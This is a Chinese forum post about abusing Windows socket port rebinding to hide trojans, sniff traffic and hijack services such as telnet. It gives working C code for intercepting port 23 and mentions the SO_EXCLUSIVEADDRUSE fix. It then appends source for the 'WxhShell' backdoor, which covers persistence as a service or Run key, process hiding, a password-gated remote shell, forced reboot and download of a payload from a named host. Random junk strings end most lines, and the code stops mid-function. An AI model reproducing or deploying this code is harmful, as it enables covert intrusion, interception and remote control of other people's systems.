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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =DXvt5G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -X#qW"92q  
fT_swh IO  
  saddr.sin_family = AF_INET; Q mn'G4#@E  
E{6X-C[)v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q"pnFK9/L  
Nh\y@\F>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g].hL  
=;A~$[g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~b{j`T  
rzgzX  
  这意味着什么?意味着可以进行如下的攻击: Zu%oIk  
%uhhQ<zs%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RlTVx :  
)ur&Mnmm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X+XbIbUuL  
nzORG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &b&o];a  
y2Z1B2E%f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vR"<:r47?  
hTbot^/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q CB9z  
mPo].z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _a=f.I  
gedk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %epK-q9[  
9CTvG zkw  
  #include \:wLUGFl 5  
  #include \ g[A{  
  #include W'9=st'  
  #include    }\/f~ ?tEh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7?JcB?G4  
  int main() !4G<&hvb  
  { &g<`i{_  
  WORD wVersionRequested; Jv=G3=.  
  DWORD ret; XS/5y(W  
  WSADATA wsaData; wY j~(P"  
  BOOL val; 7oI^shk  
  SOCKADDR_IN saddr; OT5'cl  
  SOCKADDR_IN scaddr; f*SAbDE  
  int err;  g8_IZ(%:  
  SOCKET s; &vp0zYd+v  
  SOCKET sc; q<cpU'-#  
  int caddsize; )ozN{&B6  
  HANDLE mt; =F}e>D  
  DWORD tid;   d\ Z#XzI8  
  wVersionRequested = MAKEWORD( 2, 2 ); &Wup 7  
  err = WSAStartup( wVersionRequested, &wsaData ); (_lc< Bj  
  if ( err != 0 ) { F- n1J?4b  
  printf("error!WSAStartup failed!\n"); AFSFXPl "  
  return -1; H;n(qBSB  
  } S[ ,r .+  
  saddr.sin_family = AF_INET; h&6x.ps@  
   lEC58`Ws  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 P&Q 5ZQb  
]jzINaMav  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $0zH2W  
  saddr.sin_port = htons(23); ico(4KSk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xQhvs=Zm]  
  { 'HV}Tr  
  printf("error!socket failed!\n"); PF(P"f.?D  
  return -1; ,uP1U@Cas  
  } AcF;5h  
  val = TRUE; G#4cWn'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `&U ['_%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gU}?Yy  
  { 9bT,=b;  
  printf("error!setsockopt failed!\n"); U)p P^:|  
  return -1; oB$D&  
  } rkl/5z??  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '4A8\&lQO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cZ7b$MZ%9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EF{_-FXY  
-3r&O:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !lF|90=  
  { C6eon4Ut  
  ret=GetLastError(); LV 94i  
  printf("error!bind failed!\n"); [J+K4o8L<A  
  return -1; "t"=9:_t  
  } |C S[>0mV!  
  listen(s,2); <u"#Jw/VP  
  while(1) yREO;m|o  
  { 8C=Y(vPk2  
  caddsize = sizeof(scaddr); F77[fp  
  //接受连接请求 ?^&!/,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ls6ywLP{  
  if(sc!=INVALID_SOCKET) xTM&SVNbL_  
  { [zR raG\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w|PZSOJ  
  if(mt==NULL) xZmKKKd0*  
  { ]IJ.}  
  printf("Thread Creat Failed!\n"); b,G+=&6u  
  break; Bd"7F{H  
  } FO}4~_W{  
  } zq]V6.]J  
  CloseHandle(mt); b\?#O}  
  } 1)NX;CN  
  closesocket(s); Pwz^{*u]  
  WSACleanup(); VPg`vI$(X  
  return 0; i4!n Oyk  
  }   U'.>wjO  
  DWORD WINAPI ClientThread(LPVOID lpParam) fp4d?3G  
  { Q ;5'I3w  
  SOCKET ss = (SOCKET)lpParam; k< W]VS3N  
  SOCKET sc; ( L RX  
  unsigned char buf[4096]; gpr];lgS  
  SOCKADDR_IN saddr; Hv0sl+  
  long num; p9_45u`u2  
  DWORD val; <z)MV oa  
  DWORD ret; b)w3 G%Xx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k=bv!T_o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VV] {R'  
  saddr.sin_family = AF_INET; 4 '9h^C&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i`8!Vm  
  saddr.sin_port = htons(23); :eQx di'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /IV:JVT  
  { x)vYc36H  
  printf("error!socket failed!\n"); ,bmTB ZV  
  return -1; =4JVUu~Z  
  } +Mm0bqNN  
  val = 100; 4b3p,$BWS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dt3Vy*zL  
  { q}BQu@'H  
  ret = GetLastError(); ~w[zX4@  
  return -1; ",8h>eEWK  
  } ;{Z2i%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  V|?  
  { F<-Pbtw  
  ret = GetLastError(); PLo.q|%  
  return -1; Z*]n]eS  
  } =AcbX_[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KS(T%mk\  
  { {Y'_QW1:2  
  printf("error!socket connect failed!\n"); YN>#zr+~  
  closesocket(sc); 4 <]QMA0  
  closesocket(ss); e$>5GM  
  return -1; }>frK#S  
  } \wDOE(>  
  while(1) 9CBB,  
  { V (!b!i@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [V jd )%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y'yaCf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4?yc/F=kI  
  num = recv(ss,buf,4096,0); ;-]f4O8  
  if(num>0) ,CM$A}7[  
  send(sc,buf,num,0); Tu/JhP/g,`  
  else if(num==0) B~PF<8h5  
  break; "F[VqqD  
  num = recv(sc,buf,4096,0); l1W5pmhK]'  
  if(num>0) m_Fw ;s/9  
  send(ss,buf,num,0); [[ s k  
  else if(num==0) Qn*c<:  
  break; T. ` %1S  
  } {&h&:  
  closesocket(ss); >MP PYVn7  
  closesocket(sc); acGmRP9g  
  return 0 ; wH${q@z_  
  } 0|^x[dh  
m/6oQ  
1;:2=8  
========================================================== -ZyFUGd%  
|g'sRTKJ  
下边附上一个代码,,WXhSHELL <RhKlCP  
TyBNRnkt  
========================================================== 2Vu|uZd  
Z(}x7jzW  
#include "stdafx.h" )uX:f8  
ap6Vmp  
#include <stdio.h> Aoo'i  
#include <string.h> W X\%FJ  
#include <windows.h> )E[5lD61  
#include <winsock2.h> n3|~X/I  
#include <winsvc.h> U<6k!Y9ny  
#include <urlmon.h> dl":?D4H  
-I_lCZ{Nbi  
#pragma comment (lib, "Ws2_32.lib") ,-b{oS~u  
#pragma comment (lib, "urlmon.lib") 2bxT%xH:g  
xwRnrWd^6  
#define MAX_USER   100 // 最大客户端连接数 A|>C3S  
#define BUF_SOCK   200 // sock buffer q90S>c,  
#define KEY_BUFF   255 // 输入 buffer EhD|\WLx!  
2Qy!Aa  
#define REBOOT     0   // 重启 %*19S.=l  
#define SHUTDOWN   1   // 关机 }zobIfIF  
pKH4?F  
#define DEF_PORT   5000 // 监听端口 N0qC/da1  
H|TzD "2N  
#define REG_LEN     16   // 注册表键长度 6=@n b3D%  
#define SVC_LEN     80   // NT服务名长度 Uv+pdRXn  
I Mv^ 9T:  
// 从dll定义API Qs?+vk?*h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q;>BltU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d#b{4zF"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zPw R1>gL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "pWdz}!  
,jt098W  
// wxhshell配置信息 TAAsV#l  
struct WSCFG { eLC&f}  
  int ws_port;         // 监听端口 <#s-hQ  
  char ws_passstr[REG_LEN]; // 口令 Qrt8O7&('  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7K;dVB  
  char ws_regname[REG_LEN]; // 注册表键名 / P:Hfq  
  char ws_svcname[REG_LEN]; // 服务名 _L=vK=,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c\]L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xLD6A5n,[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *xl7;s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,X$Avdc2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6Ss{+MF|v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *g,?13Q_  
bNaUzM!,H  
};  R_N<j  
?}]kIK}MC  
// default Wxhshell configuration a[$.B2U  
struct WSCFG wscfg={DEF_PORT, FSQ&J|O  
    "xuhuanlingzhe", 2s4=%l  
    1, ipzUF o<w  
    "Wxhshell", u:S@'z>  
    "Wxhshell", aEk*-v#{  
            "WxhShell Service", 7 IHD?pnZ  
    "Wrsky Windows CmdShell Service", NSgHO`gU8  
    "Please Input Your Password: ", Zn/9BO5  
  1, t!T}Pg(Bo  
  "http://www.wrsky.com/wxhshell.exe", F889JSZ%  
  "Wxhshell.exe" I| j tpv}  
    }; R^2Uh$kk{A  
(O-)uC  
// 消息定义模块 ~c="<xBE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z^Jl4V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .3U[@*b(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `HS4(2+C  
char *msg_ws_ext="\n\rExit."; "~(&5M\8`  
char *msg_ws_end="\n\rQuit."; uv-W/p  
char *msg_ws_boot="\n\rReboot..."; R|CY4G j  
char *msg_ws_poff="\n\rShutdown..."; `;_tt_  
char *msg_ws_down="\n\rSave to "; f~q&.,I(  
cV{ZD q  
char *msg_ws_err="\n\rErr!"; `HM3YC  
char *msg_ws_ok="\n\rOK!"; n>E*g|a  
R_qo]WvR;  
char ExeFile[MAX_PATH]; fD~!t 8J  
int nUser = 0; 38m%ifh)  
HANDLE handles[MAX_USER]; 0`P]fL+&  
int OsIsNt; a`-hLX)~Z  
YDNqWP7s  
SERVICE_STATUS       serviceStatus; osd^SnL1/5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I1myuZ  
gZjOlp  
// 函数声明 ob] lCX)  
int Install(void); "pZ3  
int Uninstall(void); g& "(- :  
int DownloadFile(char *sURL, SOCKET wsh); 87K)qsv8  
int Boot(int flag); ]v{fFmL  
void HideProc(void); zkp Apj].  
int GetOsVer(void); V{h@nhq  
int Wxhshell(SOCKET wsl);  i) 2))C  
void TalkWithClient(void *cs); Ft7a\vn*B  
int CmdShell(SOCKET sock); `oMeR]~  
int StartFromService(void); ya{>=  
int StartWxhshell(LPSTR lpCmdLine); SznE:+  
+hg\DqO^M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YF -w=Y6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HLe^|  
?fmt@@]T?  
// 数据结构和表定义 z/YMl3$l~  
SERVICE_TABLE_ENTRY DispatchTable[] = >jX UO  
{ Hk]BC  
{wscfg.ws_svcname, NTServiceMain}, 3\KII9  
{NULL, NULL} <c ovApx  
}; UPKi/)C;  
7rSUSra  
// 自我安装 ^@Qi&g`lr?  
int Install(void) lk +K+Ra/  
{ ^2r}_ AX  
  char svExeFile[MAX_PATH]; kppRQ Q*[  
  HKEY key; +?iM$}8!U  
  strcpy(svExeFile,ExeFile); R1.sq(z`  
&#@>(u: .  
// 如果是win9x系统,修改注册表设为自启动 i$ L]X[  
if(!OsIsNt) { * |HZ&}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  j/9QV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KupMndK  
  RegCloseKey(key); p{a]pG+3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ys$YI{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DLYZsWA,  
  RegCloseKey(key); n r>{ uTa  
  return 0; cU*lB!  
    } H\I!J@6g  
  } #Q3PzDfj  
} RW 7oL:$dt  
else { %?f:"  
$a^isd4  
// 如果是NT以上系统,安装为系统服务 $G_Q`w=jM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,Us2UEWNv  
if (schSCManager!=0) g`OOVaB  
{ -(w~LT$ "  
  SC_HANDLE schService = CreateService 0sd-s~;  
  ( +V9B  
  schSCManager, sdf%  
  wscfg.ws_svcname, *kQCW#y0  
  wscfg.ws_svcdisp, ^v!im\ r  
  SERVICE_ALL_ACCESS, DvX3/z#T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ay(!H~q_U  
  SERVICE_AUTO_START, )E:,V~< 8  
  SERVICE_ERROR_NORMAL, HB7(  
  svExeFile, qijcS2E6S  
  NULL, bW9"0=j[{  
  NULL, lB!vF ~A&  
  NULL, nnE_OK!}T  
  NULL, FxfL+}?Q  
  NULL (.1 rtj  
  ); Q)S>VDLA  
  if (schService!=0) ,k~j6Z  
  { umjhG6  
  CloseServiceHandle(schService); "]m*816'  
  CloseServiceHandle(schSCManager); v'@b.R,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CofH}-  
  strcat(svExeFile,wscfg.ws_svcname); ns#~}2"d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3}4p_}f/[4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zq;DIWPIoJ  
  RegCloseKey(key); i7nL_N  
  return 0; Vd +Q:L  
    } <'[Ku;m  
  } S9p?*  
  CloseServiceHandle(schSCManager); =dM.7$6) R  
} m1-\qt-yy  
} -+}5ma  
T;!ukGoFP  
return 1; &$c5~9p\B  
} 7':f_]  
+~d1 ;0l|  
// 自我卸载 |qlS6Aln  
int Uninstall(void) 8lOI\-  
{ e8WEz 4r_  
  HKEY key; kT^*>=1  
ku9@&W+  
if(!OsIsNt) { nlzW.OLM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j/9WOIfa  
  RegDeleteValue(key,wscfg.ws_regname); \2Og>{"U  
  RegCloseKey(key); @H\pipT_b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :)p)=c8%  
  RegDeleteValue(key,wscfg.ws_regname); uxO J3  
  RegCloseKey(key); K 3Yw8t2J  
  return 0; yW\XNX  
  } URK!W?3c  
} rLJ[FqS  
} 'j,oIqx  
else { +2DE/wE]e+  
SY,I >-%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yI8m%g%  
if (schSCManager!=0) o\ngR\>  
{ xQJIM.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8/3u/  
  if (schService!=0) dL_QX,X-]  
  { S Pn8\2Cj  
  if(DeleteService(schService)!=0) { =4tO0  
  CloseServiceHandle(schService); FaFp_P?  
  CloseServiceHandle(schSCManager); ~uI**{  
  return 0; s=d+GMa  
  } \sK:W|yy  
  CloseServiceHandle(schService); 5vTv$2@  
  } (=1q!c`  
  CloseServiceHandle(schSCManager); AkrTfi4hC  
} ZXsYn  
} QsF4Dl   
p9-0?(]  
return 1; M8';%  =@  
} G#H9g PY  
bD35JG^&i  
// 从指定url下载文件 74K)aA  
int DownloadFile(char *sURL, SOCKET wsh) X JY5@I.  
{ ^qxdmMp)l  
  HRESULT hr; *hVb5CS  
char seps[]= "/"; BeK2;[5C  
char *token; Ge~q3"  
char *file; <EMkD1e  
char myURL[MAX_PATH]; =m}TU)4.  
char myFILE[MAX_PATH]; ^m*3&x8  
]gu1#  
strcpy(myURL,sURL); 6Rcu a<;2P  
  token=strtok(myURL,seps); ~TDzq -U)  
  while(token!=NULL) 4`nqAX~'f  
  { ?6i;)eIOI  
    file=token; L=,OZ9aA  
  token=strtok(NULL,seps); }YQ:6I  
  } &=6%>  
mD7}t  
GetCurrentDirectory(MAX_PATH,myFILE); *z0K%@M  
strcat(myFILE, "\\"); D(Qa>B"1  
strcat(myFILE, file); W57&\PXYn  
  send(wsh,myFILE,strlen(myFILE),0); TPHYz>D]  
send(wsh,"...",3,0); |olNA*4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !!FR[NK  
  if(hr==S_OK) 9\ v.qo.  
return 0; k oM]S+1  
else t5paY w-b  
return 1; R"*R99  
0q{[\51*  
} IAI(Ix  
cw;co@!$  
// 系统电源模块 GR%{T'ZD`  
int Boot(int flag) b,dr+RB  
{ }W$8M>l  
  HANDLE hToken; i\Yl  
  TOKEN_PRIVILEGES tkp; {I{3(M#"  
b^ sb]bZW  
  if(OsIsNt) { zmI5"K"'F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XA1f' Kk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J A`H@qE  
    tkp.PrivilegeCount = 1; f&ytK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =}v ;1m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h* s`^W3  
if(flag==REBOOT) { @EHIp{0.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SK+@HnKd  
  return 0;  \~>e_;  
} e_/x&a(i8  
else { s~J=<)T*6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -es"0wS<u  
  return 0; WfG(JJ  
} WmNYO,>  
  } t?{B_Bf  
  else { 'T7x@a`b)  
if(flag==REBOOT) { !\;:36B#6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T C8`JU=wV  
  return 0; R \5Vq$Q  
} "Sjr_! u  
else { ! _{d)J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \jyjQ,v)  
  return 0; ;,XyN+2H  
} ;/'|WLI9  
} =Vb~s+YW  
q[ ULG v  
return 1; &>(gt<C$  
} 5 y   
6Y1J2n"  
// win9x进程隐藏模块 :)IV!_>'d  
void HideProc(void) (a.1M8v+Sg  
{ )eYDQA>J  
SfW}"#L>5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L-\ =J  
  if ( hKernel != NULL ) Mvb':/M  
  { )KY:m |Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g9KTn4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #cU^U#;=r  
    FreeLibrary(hKernel); AW~"yI<  
  } sDC*J \X  
.!RavEg+  
return; `~h4D(n`  
} #`ls)-`7  
_KN/@(+F  
// 获取操作系统版本 m`6VKp{YD  
int GetOsVer(void) [i7YVwG4  
{ uWjU OJEe  
  OSVERSIONINFO winfo;  s;Y<BD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^.go O]  
  GetVersionEx(&winfo); rk|@B{CA;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zx{96G+1  
  return 1; bik*ZC?E  
  else K2rzhHfb  
  return 0; T8XY fcc*h  
} 3o6RbW0[  
|P~;C6sf  
// 客户端句柄模块 2f{T6=SK  
int Wxhshell(SOCKET wsl) *(QH{!-$s  
{ a1c1k}  
  SOCKET wsh; @dgH50o[  
  struct sockaddr_in client; t-7og;^8k  
  DWORD myID; p[v#EyoC  
9(,@aZ  
  while(nUser<MAX_USER) U)D[]BVg  
{ -5b A $  
  int nSize=sizeof(client); rmd;\)#*`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P)6 lu8zQ  
  if(wsh==INVALID_SOCKET) return 1; 2e1]}wlK  
x83a!9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )oU)}asY  
if(handles[nUser]==0) 2.lgT|p  
  closesocket(wsh); 5`-UMz<]  
else PJLR<9  
  nUser++; ]@ M5_%p  
  } vF4]ux&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |L::bx(  
kV&9`c+  
  return 0;  !HK^AwNY  
} S%mfs!E>  
Bv9kSu9'~  
// 关闭 socket {Wv% zA*8  
void CloseIt(SOCKET wsh) >v+jh(^  
{ \9{F5S z  
closesocket(wsh); 6GL=)0Ah  
nUser--; e3[:D5  
ExitThread(0); T~xwo  
} 3 hKBc0  
}< 5F  
// 客户端请求句柄 C~4PE>YtTv  
void TalkWithClient(void *cs) +wO#'D  
{ pz|'l:v^  
E JK0  
  SOCKET wsh=(SOCKET)cs; #8h ;Bj  
  char pwd[SVC_LEN]; p(JlvJjo  
  char cmd[KEY_BUFF]; c EnkU]  
char chr[1]; FjFMR 63  
int i,j; > m q,}!n  
x/fX`y|(}*  
  while (nUser < MAX_USER) { K^[#]+nQ  
LnsD  
if(wscfg.ws_passstr) { Ao9R:|9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DcD{*t?x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Sz A3c  
  //ZeroMemory(pwd,KEY_BUFF); :t("L-GPW  
      i=0; l$xxrb9P!  
  while(i<SVC_LEN) { hJ;$A*Y  
B 0ee?VC  
  // 设置超时 'gMfN  
  fd_set FdRead; R^#@lI~  
  struct timeval TimeOut; 5F"|E-;  
  FD_ZERO(&FdRead); =aG xg57  
  FD_SET(wsh,&FdRead); - y AQ  
  TimeOut.tv_sec=8; vH[47CvG5  
  TimeOut.tv_usec=0; s)J(/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #qBr/+b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nY%5cJ`"  
p#P~Q/;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /=?x{(B>  
  pwd=chr[0]; q2aYEuu,  
  if(chr[0]==0xd || chr[0]==0xa) { N)2f7j4C &  
  pwd=0; nIk$7rGLB  
  break; V$`Gwr]|n  
  } IM@tN L  
  i++; ?~e3 &ux  
    } cre;P5^E  
J3RB]O_  
  // 如果是非法用户,关闭 socket <O<LYN+(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (!L5-8O  
} `)iY}Iu  
*/qtzt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4,Ic}CvM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \nNXxTxX!  
dihjpI_  
while(1) { }yn0IWVa  
kRJ4-n^@><  
  ZeroMemory(cmd,KEY_BUFF); '9p@vi{\  
56lCwXCgA  
      // 自动支持客户端 telnet标准   YY((#"o;l  
  j=0; D/ybFk  
  while(j<KEY_BUFF) { hwYQGtjF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H6*^Ga  
  cmd[j]=chr[0]; H`hnEOyLp  
  if(chr[0]==0xa || chr[0]==0xd) { xM>W2  
  cmd[j]=0; ZUm?*.g\^  
  break; \>. LW9  
  } 1/+C5Bp*  
  j++; }|OaL*|u  
    } >SF Uy\3  
=ac_,]z  
  // 下载文件 &F *' B|n  
  if(strstr(cmd,"http://")) { 82{&# Vc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 |0,X<&  
  if(DownloadFile(cmd,wsh)) MM_k ]-7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #p(h]T32  
  else _9 .(a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r|Z3$J{^"  
  } `:8J46or  
  else { !LMN[3M_  
Dr&('RZ4  
    switch(cmd[0]) { 1@48BN8cm'  
  )> ,wj  
  // 帮助 d_UN0YT<  
  case '?': { B(a-k?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v4,h&JLt  
    break; (_kp{0r#  
  } C&LBr|  
  // 安装 +Mewo  
  case 'i': { P9Yy9_a|x  
    if(Install()) } "vW4   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vy2Q g  
    else Y`7~Am/r;&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j`'`)3f  
    break; z<sg0K8z63  
    } QZp6YSz.4  
  // 卸载 : JzI>/  
  case 'r': { ,j;m!V  
    if(Uninstall()) n9w9JXp;!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `+'rib5  
    else kE>0M9EdH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o./.Q9e7  
    break; /tV/85r  
    } 'FlJpA}  
  // 显示 wxhshell 所在路径 b5$Jf jI  
  case 'p': { [yl sz?  
    char svExeFile[MAX_PATH]; nkxzk$  
    strcpy(svExeFile,"\n\r"); Hgeg@RP Q  
      strcat(svExeFile,ExeFile); ORGD  
        send(wsh,svExeFile,strlen(svExeFile),0); XZ&KR .C,  
    break; +d+@u)6  
    } w\54j)rb  
  // 重启 F>tQn4  
  case 'b': { h5%<+D<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X'.qYsS  
    if(Boot(REBOOT)) @2pu^k^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C*U'~qRK  
    else { n55Pv3}C  
    closesocket(wsh); v(*C%.M)  
    ExitThread(0); 9CA^B2u  
    } UDhG :  
    break; =9oP owq  
    } I}e 3zf>  
  // 关机 p.ANVA@:  
  case 'd': { !CX t*/~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9TF f8'?d  
    if(Boot(SHUTDOWN)) _Jwq`]Z  
